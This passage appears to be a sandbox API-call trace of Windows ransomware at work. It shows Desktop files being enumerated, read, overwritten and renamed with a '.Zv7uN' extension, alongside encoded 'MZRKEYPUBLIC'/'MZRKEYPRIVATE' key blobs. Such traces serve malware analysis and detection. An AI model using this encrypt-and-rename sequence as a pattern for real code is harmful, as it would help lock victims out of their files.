pjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0126.785] GetCurrentThreadId () returned 0xa30 [0126.785] GetCurrentThreadId () returned 0xa30 [0126.785] GetCurrentThreadId () returned 0xa30 [0126.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.787] GetCurrentThreadId () returned 0xa30 [0126.787] GetCurrentThreadId () returned 0xa30 [0126.787] GetCurrentThreadId () returned 0xa30 [0126.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D1JRmpQ7-5.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d1jrmpq7-5.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.788] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.788] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.788] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x15449 [0126.788] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.788] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x15449, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x15449, lpOverlapped=0x0) returned 1 [0126.791] CloseHandle (hObject=0x120) returned 1 [0126.793] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D1JRmpQ7-5.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d1jrmpq7-5.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.806] WriteFile (in: hFile=0x120, lpBuffer=0x1f0efa0*, nNumberOfBytesToWrite=0x15449, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f0efa0*, lpNumberOfBytesWritten=0x18f978*=0x15449, lpOverlapped=0x0) returned 1 [0126.811] CloseHandle (hObject=0x120) returned 1 [0126.812] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D1JRmpQ7-5.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d1jrmpq7-5.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D1JRmpQ7-5.png.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d1jrmpq7-5.png.zv7un")) returned 1 [0126.814] GetCurrentThreadId () returned 0xa30 [0126.814] GetCurrentThreadId () returned 0xa30 [0126.815] GetCurrentThreadId () returned 0xa30 [0126.815] GetCurrentThreadId () returned 0xa30 [0126.815] GetCurrentThreadId () returned 0xa30 [0126.815] GetCurrentThreadId () returned 0xa30 [0126.815] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.815] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.815] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.815] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef210e0, ftCreationTime.dwHighDateTime=0x1d5e557, ftLastAccessTime.dwLowDateTime=0x24fe06b0, ftLastAccessTime.dwHighDateTime=0x1d5e118, ftLastWriteTime.dwLowDateTime=0x24fe06b0, ftLastWriteTime.dwHighDateTime=0x1d5e118, nFileSizeHigh=0x0, nFileSizeLow=0x2b73, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="fdo1k2CX.bmp", cAlternateFileName="")) returned 1 [0126.815] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.815] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fdo1k2CX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fdo1k2cx.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef210e0, ftCreationTime.dwHighDateTime=0x1d5e557, ftLastAccessTime.dwLowDateTime=0x24fe06b0, ftLastAccessTime.dwHighDateTime=0x1d5e118, ftLastWriteTime.dwLowDateTime=0x24fe06b0, ftLastWriteTime.dwHighDateTime=0x1d5e118, nFileSizeHigh=0x0, nFileSizeLow=0x2b73)) returned 1 [0126.815] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fdo1k2CX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fdo1k2cx.bmp")) returned 0x20 [0126.815] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fdo1k2CX.bmp", dwFileAttributes=0x80) returned 1 [0126.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.820] GetCurrentThreadId () returned 0xa30 [0126.820] GetCurrentThreadId () returned 0xa30 [0126.820] GetCurrentThreadId () returned 0xa30 [0126.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9